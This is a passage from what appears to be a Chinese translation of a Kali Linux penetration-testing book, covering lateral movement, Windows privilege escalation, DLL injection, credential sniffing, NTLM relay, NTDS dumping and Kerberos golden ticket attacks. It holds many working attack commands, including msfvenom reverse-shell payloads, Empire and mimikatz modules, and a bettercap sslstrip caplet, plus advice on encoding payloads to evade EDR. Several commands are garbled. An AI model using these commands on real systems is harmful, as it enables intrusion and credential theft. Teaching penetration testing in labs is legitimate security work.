稍后，攻击者可以利用这些凭据横向移动到网络中，从而在多个系统上使用相同的凭据。此工具仅适用于 Windows XP、2003、7 和 2008 等旧系统。

渗透测试人员可以大量使用 PowerShell 的自动化 Empire 工具来执行特定于 Active Directory 和其他域信任和提权攻击，我们将在第十二章，特权提升中探讨这些攻击。

使用服务进行横向移动

如果渗透测试人员遇到没有 PowerShell 可调用的系统怎么办？在这种情况下，服务控制（SCs）将非常有用，用于在网络中执行横向移动，涵盖所有您访问或具有匿名访问共享文件夹的系统。

以下命令可以直接从命令提示符或通过 Meterpreter shell 运行：

• net use \\advanced\c$/user:advanced\username password

• dir \\advanced\c$

• 将使用 Shellter 或 Veil 创建的后门复制到共享文件夹中

• 创建一个名为backtome的服务

• Sc \\remotehost create backtome binpath="c:\xx\malware.exe"

• Sc remotehost start backtome

转向和端口转发

我们在第九章《绕过安全控制》中讨论了简单的端口转发方法，通过绕过内容过滤和 NAC。在本节中，我们将使用 Metasploit 的 Meterpreter 来进行转向和端口转发目标。

在 Meterpreter 上，在目标系统上的活动会话期间，攻击者可以使用相同的系统扫描内部网络。图 11.23 显示了一个具有两个网络适配器192.168.0.119和192.168.52.129的系统：

图 11.23: 确定受损目标是否有两个不同的网络适配器

然而，攻击者的 IP 没有到达内部 IP 范围的路由；渗透测试人员在 Meterpreter 会话中可以通过运行后期利用模块run post/multi/manage/autoroute在受损系统上添加从 Kali 攻击框到内部网络的新路由，如图 11.24 所示。此模块将使用受损机作为桥梁：

图 11.24: 使用后期利用模块从受损目标向 Kali Linux 添加自动路由

所有从攻击者 IP 到内部 IP 范围 (192.168.0.52.x) 的流量现在将通过受损系统 (192.168.0.x) 路由。

现在我们将在后台运行 Meterpreter 会话，并尝试理解 IP 范围之外的情况，同时还要利用 Metasploit 的端口扫描器，但要使用以下模块：

use auxiliary/scanner/portscan/tcp 

要验证我们的 Kali Linux 确实具备访问目标网络的能力，您可以将 RHOSTS 设置为第二个适配器的默认网关 IP。这将使攻击者能够找到跳跃网络和设备上的服务；典型的做法是利用 Metasploit 模块中的端口扫描器，如图 11.25 所示：

图 11.25: 在跳跃网络添加自动路由后运行端口扫描

使用 ProxyChains

希望使用nmap和其他工具扫描网络主机的渗透测试人员可以通过在 Metasploit 的post模块中运行以下代码来利用 Metasploit 模块socks4a：

msf post(inject_host) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed 

在运行模块后通过编辑/etc/proxychains.conf配置 ProxyChains 配置，并将socks4配置更新到端口1080（或您在 Metasploit 模块中设置的端口号），如图 11.26 所示：

图 11.26: 更新 socks4 配置以使用端口 1080

现在，攻击者可以通过终端直接运行nmap，命令为proxychains nmap -vv -sV 192.168.1.254。我们已经学习了如何利用 ProxyChains 执行网络扫描以保持匿名性。

摘要

在本章中，我们重点讨论了目标系统利用后的即时操作。我们回顾了进行快速初步评估的过程，以便对服务器和本地环境进行特征描述。我们还学习了如何使用各种后期利用工具定位感兴趣的目标文件、创建用户帐户，并进行横向提升以收集更多与其他用户相关的信息。我们重点介绍了 Metasploit 的 Meterpreter 使用方法、PowerShell Empire 工具以及 CrackMapExec，以便我们能够收集更多信息，执行横向移动和特权攻击。

在下一章中，我们将学习如何将特权从普通用户提升到最高级别，并利用在 Active Directory 环境中发现的漏洞。

第十二章：权限提升

权限提升是指从较低的访问权限提升到获得管理员权限、系统权限，甚至更高访问权限的过程。它允许渗透测试人员完全控制系统的所有操作。更重要的是，获得某些访问权限将使测试人员能够控制网络中的所有系统。随着漏洞变得越来越难以发现和利用，许多研究已经专注于权限提升，作为确保渗透测试成功的手段。

在本章中，我们将讨论以下内容：

• 常见的权限提升方法

• 本地系统权限提升

• DLL 注入

• 通过嗅探和权限提升进行凭证收集

• Kerberos 上的金票攻击

• Active Directory 访问权限

常见权限提升方法概述

一切从方法论开始，提供了一种问题解决的方法。在本节中，我们将介绍攻击者在红队演习或渗透测试中使用的常见权限提升方法。

图 12.1 描述了可以使用的方法论：

图 12.1：典型的用户权限层级

根据网络攻击链的方法论，为了达到目标，采取的行动包括提升权限以保持对目标环境的持续性访问。

以下是目标系统中可能找到的用户账户类型：

• 普通用户：通过在执行后门的用户级别运行后门获得的典型访问权限。这些是系统（Windows 或 Unix）的普通用户，可以是本地用户或具有有限系统访问权限的域用户，执行的任务仅限于他们被允许执行的范围。

• 本地管理员：本地管理员是具有运行系统配置更改权限的系统账户持有者。

• 委派管理员：委派管理员是具有管理员权限的本地用户账户。例如，账户操作员或备份操作员是 Active Directory 环境中常用于委派管理任务的典型组。

• 域管理员：域管理员是能够管理其所在域的用户。

• 企业管理员：企业管理员是拥有维护整个 Active Directory 森林权限的账户。

• 架构管理员：架构管理员是能够配置森林架构的用户。架构管理员之所以不被视为最具特权的账户，是因为攻击者无法将用户添加到其他组中：这将限制修改 Active Directory 森林的访问权限。

从域用户提升到系统管理员

在大多数情况下，执行控制台级攻击或社交工程攻击的攻击者可能会获得一个普通域用户的访问权限，而该用户并不是本地管理员，这使他们只能访问有限的权限级别。可以绕过这一点，并利用该漏洞在受害者机器上获得系统级访问权限，而不必成为本地管理员。我们将利用 Windows 2008 Metasploitable3 执行本地特权提升攻击。以下是执行该攻击的步骤：

1. 使用msfvenom创建一个带有效载荷的可执行文件，运行sudo msfvenom –p windows/meterpreter/reverse_tcp LHOST=<Kali IP> LPORT=<Port No> -f exe –o Output.exe.来自 Kali 终端。

2. 使用在第一章中创建的normaluser用户账户登录 Metasploitable3，并通过文件共享或简单运行 Python HTTP 服务器（python3 -m http.server <custom port number>）将文件上传到目标。

3. 一旦文件上传到目标，作为普通用户执行该文件应提供反向 shell 到 Kali Linux。在执行有效载荷之前，请确保先启动 Metasploit 监听器。

4. 当攻击者初步使用普通用户身份访问系统并尝试运行系统级命令时，您将收到access denied或no privilege available to run the commands on the target system的响应。

5. 这可以通过从 Meterpreter 控制台运行getsystem命令来验证，如图 12.2所示：

   图 12.2：Meterpreter shell 运行 getsystem 命令

6. 我们将探索存在于旧版本 Windows（如 Windows 2008/7）中的本地漏洞。我们将使用最新的本地漏洞利用工具ms18_8120_win32k_privesc，该工具利用 Win32k 组件的漏洞，该组件未正确处理内存中的对象属性。您可以将现有的 Meterpreter 会话移到后台，以便通过以下步骤利用后利用模块：

   meterpreter > background 
   [*] Backgrounding session 1...
   msf6 exploit(multi/handler) > use exploit/windows/local/ms18_8120_win32k_privesc 
   [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
   msf6 exploit(windows/local/ms18_8120_win32k_privesc) > set session 1
   session => 1
   msf6 exploit(windows/local/ms18_8120_win32k_privesc) > exploit 
   

7. 成功利用该漏洞应该会打开另一个具有高权限级别的 shell，如图 12.3所示：

   图 12.3：在 Metasploitable3 上利用本地 Windows 特权提升漏洞

8. 现在，新的会话必须为您提供以 NT AUTHORITY\SYSTEM 身份访问系统的权限，这将使攻击者能够创建一个本地管理员级别的用户，如图 12.4所示，并通过从 Meterpreter shell 中使用hashdump命令提取哈希转储或启用 RDP 并使用新管理员账户登录，从而横向移动：

   图 12.4：成功以管理员权限访问 Metasploitable3

本地系统提权

在 Windows 10 中，我们可以利用一种不同的技术来绕过现有的权限。一项此攻击的缺点是，为了获得系统级访问权限，受影响的本地用户必须是本地管理员组的成员。

攻击者只能在用户的上下文中运行 Meterpreter shell。为了绕过这个限制，我们可以利用多个后渗透模块。我们将发送 background 命令到我们的 Meterpreter shell，以运行后渗透模块。在本例中，我们将利用 bypassuac_fodhelper 后渗透模块，如 图 12.5 所示：

meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > use exploit/windows/local/bypassuac_fodhelper
msf exploit(multi/handler) > set session 1
msf exploit(multi/handler) > exploit 

一旦我们创建了后门 DLL 文件，就可以利用现有的 Meterpreter 会话来运行 PowerShell。攻击者可以通过在终端中运行以下命令来创建一个 PowerShell 负载：

图 12.5：利用 Windows 10 本地权限提升漏洞

Meterpreter shell 中的 bypassuac_fodhelper 模块将利用现有会话提供更高权限的 Meterpreter shell，如 图 12.6 所示：

图 12.6：成功以 SYSTEM 权限访问 Windows 10

我们已经成功运行了本地漏洞，从低权限用户提升到 SYSTEM 级别的权限。在下一节中，我们将利用本地管理员权限的用户进行提升，最终将其提升为 SYSTEM 级别的用户。

从管理员权限提升到系统权限

管理员权限允许攻击者创建和管理账户，并访问系统上大多数数据。然而，某些复杂的功能要求请求者具有系统级别的访问权限。有几种方法可以继续提升到系统级别，最简单的方式是运行 PsExec 来获取系统级访问权限，方法是将 PsExec 上传到目标文件夹，并作为本地管理员运行以下命令：

PsExec -s -i -d cmd.exe 

此命令应以系统用户身份打开另一个命令提示符，如 图 12.7 所示：

图 12.7：使用 Psexec 从本地管理员提升到 SYSTEM

DLL 注入

DLL（动态链接库）注入是另一种简单的技术，攻击者利用它在另一个进程的地址空间中运行远程代码。该进程必须以超出权限的方式运行，这些权限随后可以用于通过 DLL 文件提升权限。

Metasploit 提供了一个特定的模块，可以用于执行 DLL 注入。攻击者需要做的就是链接现有的 Meterpreter 会话，并指定进程的 PID 和 DLL 的路径。我们将探索另一种方式，并利用 Empire 工具中的 PowerShell DLL 注入模块。你可以通过 msfvenom 创建一个带有负载的 DLL：

sudo msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -f dll -o /home/kali/injectmex64.dll 

sudo powershell-empire server 
sudo powershell-empire client (in a new tab)
uselistener http
set Host <Your IP>
set Port <port number>
execute
usestager multi/launcher
set Listener http
execute 

这应该为我们提供可以在目标上执行的 PowerShell 负载。在本例中，我们将以 Windows 10 为例，直接从 Meterpreter shell 运行 PowerShell 脚本，如 图 12.8 所示：

图 12.8：从 Meterpreter 执行 Empire 代理负载

成功执行 PowerShell 后，应该会向 Empire 控制台报告一个代理。攻击者可以通过运行 agents 命令并在 Empire 中使用代理名称通过 interact 命令与代理进行交互来验证这一点，如 图 12.9 所示：

图 12.9：成功的代理向 Empire 客户端控制台报告

测试人员现在可以将我们创建的 DLL 文件上传到目标系统；这将上传到执行 PowerShell 脚本的文件夹中：

图 12.10：将恶意 DLL 上传到目标

在 PowerShell Empire 终端中运行 ps 命令，应该会列出目标上当前正在运行的进程。选择正确的进程（该进程以 NT AUTHORITY/SYSTEM 运行），然后在 PowerShell Empire 终端中执行以下命令：

(Empire: 2A54TX1L) > ps
(Empire: 2A54TX1L) > upload /root/chap12/injectme.dll
(Empire: 2A54TX1L) > usemodule code_execution/invoke_dllinjection
(Empire: powershell/code_execution/invoke_dllinjection) > set ProcessID 4060
(Empire: powershell/code_execution/invoke_dllinjection) > set Dll C:\<location>\injectmex64.dll
(Empire: powershell/code_execution/invoke_dllinjection) > execute 

如果测试人员在运行 ps 命令时无法看到系统进程所有者，则应以本地管理员身份运行 Empire PowerShell 有效负载。

大多数防病毒/反恶意软件/EDR 系统都能轻松检测到此方法；然而，建议对 DLL 的有效负载进行多次编码。

一旦 DLL 文件注入到正在运行的进程中，攻击者应该能够看到一个以特权用户身份报告回来的代理，如 图 12.11 所示：

图 12.11：成功将恶意 DLL 上传到目标

一旦成功调用 DLL，有效负载必须执行，并且必须以系统级别用户身份打开反向 Shell，如 图 12.12 所示：

图 12.12：通过 PowerShell Empire 成功的 DLL 注入进行的反向 Shell

我们已经成功地进行了 DLL 注入，以获得一个具有高度特权的 SYSTEM 账户。在下一节中，我们将探索另一种收集凭据并提升特权的方法。

凭据收集和特权提升攻击

凭据收集是识别可以用来实现渗透测试/红队演练目标的用户名、密码和哈希值的过程。在本节中，我们将演示攻击者在 Kali Linux 中通常使用的三种不同的凭据收集机制。

密码嗅探器

密码嗅探器是一组通常通过发现、欺骗、嗅探流量和代理方式执行中间人攻击的工具/脚本。根据我们之前的经验，我们注意到大多数组织内部没有使用 SSL；Wireshark 显示了多个用户名和密码。

在本节中，我们将探索 bettercap 来捕获网络上的 SSL 流量，以便捕获网络用户的凭据。bettercap 类似于上一代的 ettercap 命令，增加了网络级伪造和嗅探的能力。可以通过在终端中运行 sudo apt install bettercap 来将其下载到 Kali Linux。bettercap 在 2018 到 2020 年间经过了大量的开发，以使其兼容用户界面并启用了 caplet 使用。Caplet 只是 .cap 文件，可以通过脚本在交互式会话中实现目标；可以通过在终端中运行简单命令 sudo apt install bettercap-caplets 来安装或更新它。

此工具可用于对给定的内部网络进行更有效的中间人攻击。在此示例中，我们将使用一个 caplet，脚本如下，通过 bettercap shell 执行 ARP 和 DNS 欺骗来捕获密码：

net.sniff on
" set http.proxy.sslstrip true
" http.proxy on
" set dns.spoof.domains www.office.com,login.microsoftonline.com,testfire.net
" set dns.spoof.all true
" dns.spoof on
" arp.spoof on 

bettercap 必须能够顺利嗅探目标网络上的所有流量，如图 12.13所展示：

图 12.13：使用 bettercap 捕获 HTTP 协议的明文密码

为了剥离 SSL 流量，我们可以利用 https.proxy 模块，如下所示：

" net.sniff on
" set https.proxy.sslstrip true
" https.proxy on
" arp.spoof on
" hstshijack/hstshijack 

hstshijack caplet 将使攻击者能够查看当 Web 服务器将 HTTP 流量重定向到 HTTPS 时的请求，攻击者可以利用重定向迫使 Web 服务器响应 HTTP。bettercap 中的前述命令必须使攻击者能够查看 HTTPS 流量，如图 12.14所示：

图 12.14：使用 Bettercap 中的 sslstrip caplet 嗅探所有加密的 URL

渗透测试人员在使用 bettercap 时应小心，因为运行 arp spoof on 时会暂停 Kali Linux 所连接的整个网络。

Responder

Responder 是 Kali Linux 中内置的工具，用于链路-本地多播名称解析（LLMNR）和NetBIOS 名称服务（NBT-NS），它根据文件服务器请求响应特定的 NetBIOS 查询。通过在终端中运行 responder -I eth0 (您网络的以太网适配器名称) -h 可以启动此工具，如图 12.15所示：

图 12.15：Responder 工具的主菜单

Responder 具备以下功能：

• 检查本地主机文件，看看是否包含任何特定的 DNS 条目

• 自动执行选定网络上的DNS查询

• 使用 LLMNR/NBT-NS 向选定网络发送广播消息

同一网络上的攻击者可以通过在 Kali 终端中运行 sudo responder –I eth0 –wF –v 启动网络上的 Responder，如图 12.16所示。Responder 能够自行设置多种服务器类型：

图 12.16：在本地网络上运行 Responder 执行中间人攻击

在这个例子中，假设我们如果设备尝试访问文件服务器 \\<FILESERVER>\\，我们就使整个网络中毒。这样，访问请求就会被重定向到 Responder 托管的 SMB 服务器，以捕获 NTLM 用户名和哈希值。

如果受害者尝试访问 Kali Linux IP 或已中毒并重定向到 Responder 的主机名，受害者会看到 图 12.7 中显示的弹窗，且 Responder 会捕获提交的用户名和 NTLM 哈希值：

图 12.17：Responder 创建的弹窗，用于捕获 NTLM 用户名和密码哈希值

在一次红队活动中，我们注意到那些成功识别出恶意设备的安全团队，随后通过输入域管理员凭证访问了该恶意设备的 SMB。现在，攻击者使用 Responder 暂停结果，其中包括 NTLM 用户名和哈希值，正如 图 12.18 所示：

图 12.18：Responder 使网络中毒并捕获用户名和 NTLMv2 哈希值

所有日志文件将保存在 /usr/share/responder/logs/ 目录下，日志文件名为 SMB-NTLMv2-SSP-<IP>.txt。然后可以通过运行 john SMBv2-NTLMv2-SSP-<IP>.txt 将其直接传递给 John the Ripper 进行离线破解，或者通过运行 hashcat –m 5600 SMB-NTLVMv2-SSP-<IP>.txt <wordlist> 来使用 hashcat 破解捕获的 NTLM 哈希。如果字典中包含了密码，那么它就会被破解，正如图 12.19所示：

图 12.19：成功破解用户的 NTLMv2 SMB 密码

在 TLS 上执行 MiTM 攻击以攻击 LDAP

在本节中，我们将探讨如何使用隐蔽方法获取给定端点的本地管理员凭证。Microsoft Kerberos 具有一个委派功能，允许任何应用程序重复使用用户凭证来访问托管在不同服务器上的资源。当 Windows 服务器刚安装并且使用默认配置时，这个 Kerberos 委派功能可能会被利用。如果网络中有 LLMNR、NBT-NS 且强制执行 LDAP 签名，并且有 LDAP（轻量级目录访问协议）的 TLS（传输层安全性）通道绑定，那么这个技术是可行的。

在这种情况下，渗透测试人员可以访问内部网络并找到一个连接到同一网络的 Windows 10 设备。作为第一步，测试人员可以通过在 IP 范围内运行 crackmapexec 来识别主机名或域名。但这样做会比较“嘈杂”，可能会让管理员警觉到你正在尝试匿名地认证所有网络系统。

一旦确定了域名和目标设备，我们通过将nameserver IP添加到/etc/resolv.conf中，将内部 DNS IP 添加到我们的 Kali Linux 中，以确保我们能够访问目标网络中的本地主机名。从 Vista 及以上版本开始，Windows 默认启用 IPv6，设备启动时将开始寻找 DHCP 和 WPAD 的配置。

我们将利用mitm6。这个工具未预装在 Kali Linux 中。要安装该工具，请运行sudo pip3 install mitm6，然后运行sudo mitm6 –hw <Windows 10 机器名称> -d <域名> --ignore-nofqdn，这应该将 Kali Linux 的 IPv6 DNS 列入白名单，并准备好作为默认网关提供 Kali Linux 的 IPv6 地址的一部分：

图 12.20：使用 mitm6 执行中间人攻击

一旦mitm6启动并运行，网络上的受害者设备现在应该使用所有可用目标上的默认网关，而不是 Kali Linux IPv6 IP 地址，如图 12.21所示：

图 12.21：目标机器添加新的 IPv6 地址到网关

然而，为了执行下一步操作，建议重新启动受害者设备。为了捕获凭据，我们将利用 Impacket，这是一个主要用于操作网络协议的 Python 开源模块集合。它默认安装在 Kali Linux 中。特别是为了执行这种攻击，我们将使用impacket-ntlmrelayx在目标上运行以下命令来托管 LDAPS 和 WPAD 服务，如图 12.22所示：

sudo impact-ntlmrelayx –t ldaps://domaincontrollerIP –delegate-access –no-smb-server –wh attacker-wpad 

图 12.22：运行 impacket-ntlmrelay 目标 LDAP 和 WPAD 服务

当ntlmrelayx成功捕获凭据时，您应该在同一窗口中看到确认信息，如图 12.23所示：

图 12.23：成功将 NTLM 哈希中继到 LDAP 服务器

ntlmrelayx不仅认证到真正的 LDAPS 服务，而且还具有在运行命令的同一文件夹中保存的所有域用户、域计算机和域信任的详细信息的能力。

此外，NTLMrelayx 应该通过中继委托创建一个新的计算机账户，充当尝试重用用户凭据的前端应用程序，并且它将修改 Windows 10 上的msDS-AllowedToActOnBehalfOfOtherIdentity，允许新创建的计算机模拟本地计算机上的任何用户。

攻击者应该能够看到以下确认信息：

图 12.24：成功将计算机添加到域

根据设计，在 Active Directory 中，用户可以创建额外的机器账户。下一步是请求服务票据，以访问模拟域管理员权限的 Windows 10。为此，我们需要调用一个服务主体名称（SPN），它是服务实例的唯一标识符。SPN 被 Kerberos 身份验证用来将服务实例与服务登录账户关联。攻击者可以利用从lootdir生成的输出，获取可用的 SPN。我们现在将利用impacket-getST Python 脚本模拟具有高度权限的管理员账户到域控制器。系统会提示你输入密码，最后捕获服务票据，并将其保存为.ccache格式，保存在运行命令的同一文件夹中。

sudo impact-getST –spn SPNname/TargetMachinename Domainname/NewComputerCreatedbyNTLMrelayx –impersonate Administrator –dc-ip <Domain controller IP > 

图 12.25：为特定 SPN 创建服务票据，模拟高权限用户

使用服务票据，我们需要通过在 Kali Linux 终端中运行export KRB5CCNAME=/Home/kali/Administrator.ccache将KRB5CCNAME票据导出到环境变量中。Impacket 模块将直接从环境变量中获取这些值。现在，我们已经准备好使用从域控制器生成的服务票据对目标机器进行身份验证，并以高权限用户身份运行。

我们运行sudo impacket-wmiexec -k –no-pass –debug target-Machine-DNS-Name。成功的利用将显示以下屏幕：

图 12.26：在目标机器上执行 WMIC

此外，同样的操作还应提供我们一个有限的 shell，但它是以创建服务票据的用户身份运行的。攻击者可以利用这个 shell 来运行 PowerShell Empire 脚本，以再次完成交互式会话：

图 12.27：以高权限用户身份在目标机器上获得有限 shell

我们还可以提取目标机器上的本地哈希值。这可以通过运行sudo impacket-secretsdump –k –no-pass –debug <Target Machine name>来实现，它应该会提供我们本地哈希值，如图 12.28所示：

图 12.28：从目标机器上转储所有本地哈希值

渗透测试人员通常忘记的一件事是验证机器哈希值。大多数时候，这应该会提供大量信息，例如目标设备上的共享驱动器。这可以通过在目标 IP 上运行crackmapexec smb并使用从impacket-secretsdump获得的哈希值来验证：

图 12.29：使用 crackmapexec 验证机器哈希值

在 Active Directory 中提升访问权限

我们刚刚探讨了如何在系统中提升权限，以及如何通过网络获取凭据。现在让我们利用迄今为止收集的所有细节，然后我们应该能够使用网络攻击链方法实现渗透测试的目标。在本节中，我们将把普通域用户的权限提升为域管理员权限。

我们识别连接到域的系统，并利用我们的 Empire PowerShell 工具提升到域控制器，并提取所有用户名和密码哈希：

图 12.30：PowerShell Empire 中的当前报告代理

你可以使用situational_awareness模块get_domain_controller获取更多关于域的信息：

usemodule situational_awareness/network/powerview/get_domain_controller 

图 12.31：域控制器详细信息的输出

要识别谁登录到域，攻击者可以使用get_loggedon模块，具体如下：

usemodule situational_awareness/network/powerview/get_loggedOn
execute 

所有登录到域控制器的用户都将可见，如图 12.32所示：

图 12.32：域控制器上的登录详细信息

通过使用getsystem模块在本地提升权限，如图 12.33所示：

图 12.33：Empire 模块成功获取 SYSTEM 权限

提升权限方法的下一步是将权限提升到域管理员级别。一旦你使用mimikatz提取了所有用户的密码和哈希，就不再需要这一操作，如以下截图所示。

你可以使用哈希或明文测试密码，通过 Metasploit 或 CrackMapExec 中的PsExec模块进行身份验证：

图 12.34：PowerShell Empire 输出的 Mimikatz 结果

现在，攻击者可以通过在 Empire 界面中输入credentials来查看 Empire 工具凭据存储中的所有凭据，如图 12.35所示：

图 12.35：存储在 PowerShell Empire 中的凭据

Dump Active Directory 中所有用户的最快方法是使用crackmapexec smb并传递哈希值，如图 12.36所示：

图 12.36：使用 CrackMapExec 提取 NTDS

如果攻击者选择手动操作，下一步是利用 CrackMapExec 验证哈希与域控制器的一致性，并运行 PowerShell Empire 代理有效载荷，如图 12.37所示：

图 12.37：使用 crackmapexec 在域控制器上执行 PowerShell 有效载荷

这将调用域控制器，使其成为监听器的代理。一旦代理报告返回到 Empire 工具，我们可以通过运行 interact <Name> 将代理切换到新报告的计算机。然后，使用 management/enable_rdp 模块将启用 远程桌面协议（RDP）在域控制器上。

我们必须定位整个 SECURITY 和 SYSTEM 注册表，并且必须使用 ntds.dit。这可以通过使用 ntdsutil 的单个 PowerShell 命令来执行：

ntdsutil "ac I ntds" "ifm" "create full c:\temp" q q 

上述命令的作用是什么？

ntdsutil 是一个内置于 Windows Server 系列中的命令行工具，用于管理 Active Directory 域服务。

这个工具，从介质安装（IFM），帮助我们将所有 Active Directory 数据库和注册表设置从域控制器下载到平面文件中，如 图 12.38 所示。最后，我们可以在 c:\temp 目录中看到这两个文件夹，分别是 Active Directory 和 registry：

图 12.38：手动创建 NTDS 快照

现在，注册表和系统 hive 已经在 c:\temp 文件夹中创建，可以用于通过 secretsdump.py 进行离线密码破解。

secretsdump.py 是 Kali Linux 中由 Impacket 提供的内置脚本。为了查看明文和哈希密码，攻击者可以在终端运行 secretsdump.py -system <systemregistry> -security <securityregistry> -ntds <ntds 位置> "LOCAL"。所有 Active Directory 用户名及其密码哈希必须对攻击者可见。

类似地，如果目标是仅提取域哈希转储，攻击者可以利用运行在域控制器上的代理，运行 credentials/Mimikatz/dcysnc_hashdump 模块，这将直接在域控制器上运行，仅提取所有域用户的用户名和密码哈希，如 图 12.39 所示：

图 12.39：DCSync Hashdump 模块的输出

妥协 Kerberos – 金票攻击

另一组更复杂（且更近期）的攻击是滥用 Microsoft Kerberos 在 Active Directory 环境中的漏洞。成功的攻击会导致攻击者妥协域控制器，并使用 Kerberos 实现将特权提升到企业管理员和架构管理员级别。

以下是在基于 Kerberos 的环境中，用户使用用户名和密码登录时的典型步骤：

1. 用户的密码被转换成带有时间戳的 NTLM 哈希值，然后发送到 密钥分发中心（KDC）。

2. 域控制器检查用户信息并创建 票证授予票证（TGT）。

3. 这个 Kerberos TGT 只能被 Kerberos 服务（KRBTGT）访问。

4. 然后，TGT 被从用户传递给域控制器，向其请求 票证授予服务（TGS）票证。

5. 域控制器验证特权账户证书（PAC）。如果允许打开票证，则 TGT 将有效地复制以创建 TGS。

6. 最终，用户获得访问服务的权限。

攻击者可以根据可用的密码哈希值操纵这些 Kerberos 票证。例如，如果你已经入侵了连接到域的系统并提取了本地用户凭据和密码哈希值，下一步是识别 KRBTGT 密码哈希值以生成金票；这将使取证和事件响应团队更难识别攻击源。

在本节中，我们将探讨生成金票的简便性。我们可以通过利用 Empire 工具中的漏洞，仅一步即可实现，前提是我们拥有一台连接到域的计算机，并且该计算机上的普通域用户具有本地管理员权限。

所有活动目录控制器负责处理 Kerberos 票证请求，然后使用这些票证对域用户进行身份验证。krbtgt用户账户用于加密和签名在给定域内生成的所有 Kerberos 票证，然后域控制器使用该账户的密码解密 Kerberos 票证进行一系列验证。渗透测试人员必须记住，大多数服务账户，包括krbtgt，不受密码过期或密码更改的限制，并且账户名通常保持不变。

我们将使用具有本地管理员访问权限的低权限域用户来生成令牌，将哈希值传递给域控制器，并为指定账户生成哈希值。可以通过以下步骤实现：

1. 通过运行credentials命令列出在 Empire 工具中收集的所有凭据；如果我们没有看到krbtgt，那么我们将利用在域控制器上运行的代理来获取哈希值。在这种情况下，我们将在域控制器上使用exchangeadmin作为值运行 CrackMapExec 并与代理进行交互。

2. 下一步是识别一个以特权级别运行的进程，窃取令牌，并使用 Empire 工具中的steal_token PID命令执行进一步的命令，如图 12.40所示：

   图 12.40：窃取高权限用户的会话令牌

3. 现在我们可以从运行mastering.kali.fourthedition域的域控制器上以管理员身份运行。输出应包括域 SID 和必要的密码哈希值：

   usemodule credentials/Mimikatz/dcysnc
   set domain mastering.kali.fourthedition
   set username krbtgt
   run 
   

   

   图 12.41：DCSync 输出并成功捕获 krbtgt 的密码哈希

4. 到目前为止，如果域控制器存在漏洞，我们应该已经窃取了krbtgt用户账户的密码哈希。攻击者应该在所有域控制器上执行相同的操作，如果 DCSync 失败，他们应该能够看到新凭证被添加到现有列表中，用户名为krbtgt：

   图 12.42：在 PowerShell Empire 中验证 krbtgt 的哈希值

5. 最后，当我们获取 Kerberos 哈希时，可以将该哈希传递给域控制器，以颁发金票。现在，我们可以利用低权限用户normaluser，并使用正确的凭证 ID 和任何用户名运行golden_ticket模块。当模块成功执行时，您应该能够看到如下截图中的消息，并可以使用任何用户运行金票模块：

   usemodule credentials/mimikatz/golden_ticket
   set user Cred ID
   set user IDONTEXIST
   execute 
   

6. 成功执行模块后，我们应该能看到图 12.43中显示的详细信息：

   图 12.43：使用 krbtgt 和无效用户创建金票

7. 攻击者可以使用klist验证生成的 Kerberos 票证是否在会话中，如图 12.44所示：

   图 12.44：在目标机器上验证缓存的票证

8. 通过金票攻击，攻击者应该能够访问域控制器上的任何文件，或使用此金票访问域内任何系统，并提取数据：

   图 12.45：金票攻击成功利用

如果攻击者在目标域控制器上有远程桌面会话，也可以通过在受感染的系统上运行以下命令来实现这一点，命令如下：

kerberoserberos::golden /admin:Administrator /domain:Mastering.kali.fourthedition /id:ACCOUNTID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt 

通过运行此操作，攻击者可以以任何用户身份进行身份验证，甚至是不存在的用户，包括企业管理员和架构管理员级别。在同一张票证内，攻击者还可以使用 Mimikatz 执行 DCSync，如图 12.46所示：

Lsadump::dcsync /domain:mastering.kali.fourthedition /all /csv 

图 12.46：使用 Mimikatz 对低权限用户执行 DCSync 操作，利用金票

另一个类似的攻击是 Kerberos 银票攻击，这个攻击并不常被讨论。此攻击再次伪造 TGS，但它是由服务帐户签名的；这意味着银票攻击仅限于指向服务器上的某个服务。可以利用 PowerShell Empire 工具，使用credentials/mimikatz/silver_ticket模块，并提供rc4/NTLM哈希值来利用相同的漏洞。

总结

本章中，我们研究了提升权限的方法，并探讨了可用来实现渗透测试目标的不同方法和工具。

我们首先通过利用 Windows Server 2008 上的ms18_8120_win32k_privesc进行常见的系统级特权提升，并在 Windows 10 机器上使用bypassuac_fodhelper。我们专注于利用 Meterpreter 获取系统级控制，之后详细研究了如何使用 Empire 工具；然后，我们通过在网络上使用密码嗅探器来获取凭证。我们还利用 Responder 执行了 NTLM 中继攻击以获得远程系统访问权限，并使用 Responder 捕获了网络中不同系统的密码，这些系统使用了 SMB 协议。

我们通过一种结构化的方法完全攻破了一个 Active Directory。最后，我们通过使用 PowerShell Empire 和一个被攻破的 Kerberos 账户，利用 Empire 工具执行了黄金票证攻击，进一步利用了 Active Directory 中的访问权限。

在下一章（第十三章，命令与控制）中，我们将学习攻击者如何使用不同的技术根据网络杀伤链方法论来保持对被攻破系统的访问。我们还将深入探讨如何从内部系统向外部系统窃取数据。

第十三章：命令与控制

现代攻击者并不只是单纯地利用系统或网络后就离开。相反，他们的目标是攻击并入侵有价值的网络，然后尽可能长时间地保持在网络中。命令与控制（C2）指的是测试人员用来模拟攻击者行为的机制，通过在系统上保持驻留、维持双向通信、使数据能够被提取到测试者的位置，并隐藏攻击证据。

在命令、控制与通信阶段，攻击者依赖于与受损系统的持久连接，以确保他们能够持续控制。

在本章中，您将学习以下内容：

• 持久化的重要性

• 使用 PowerShell Empire、Covenant、PoshC2 和在线文件共享保持持久化

• 执行域前置技术以保持命令与控制

• 使用不同协议进行数据提取的技巧

• 隐藏攻击证据

持久化

为了有效，攻击者必须能够维持交互式持久化；他们必须与被利用的系统保持一个双向通信通道（交互式），并且在很长时间内不被发现（持久化）。这种连接是必需的，原因如下：

• 网络入侵可能被检测到，受损的系统可能被识别并修补。

• 一些漏洞只能被利用一次，因为漏洞是间歇性的，或者利用时会导致系统崩溃或发生变化，导致漏洞无法继续使用。

• 攻击者可能需要多次回到同一个目标，原因多种多样。

• 目标的实际价值在被入侵时并不总是能立刻确定。

用于保持交互式持久化的工具通常被称为经典术语，如后门或根工具。然而，自动化恶意软件和人工攻击的长期持久化趋势已经模糊了传统标签的意义，因此，我们将把旨在长时间驻留在受损系统上的恶意软件称为持久化代理。

这些持久化代理为攻击者和渗透测试人员执行多种功能，包括：

• 允许上传额外的工具来支持新的攻击，尤其是针对同一网络上其他系统的攻击。

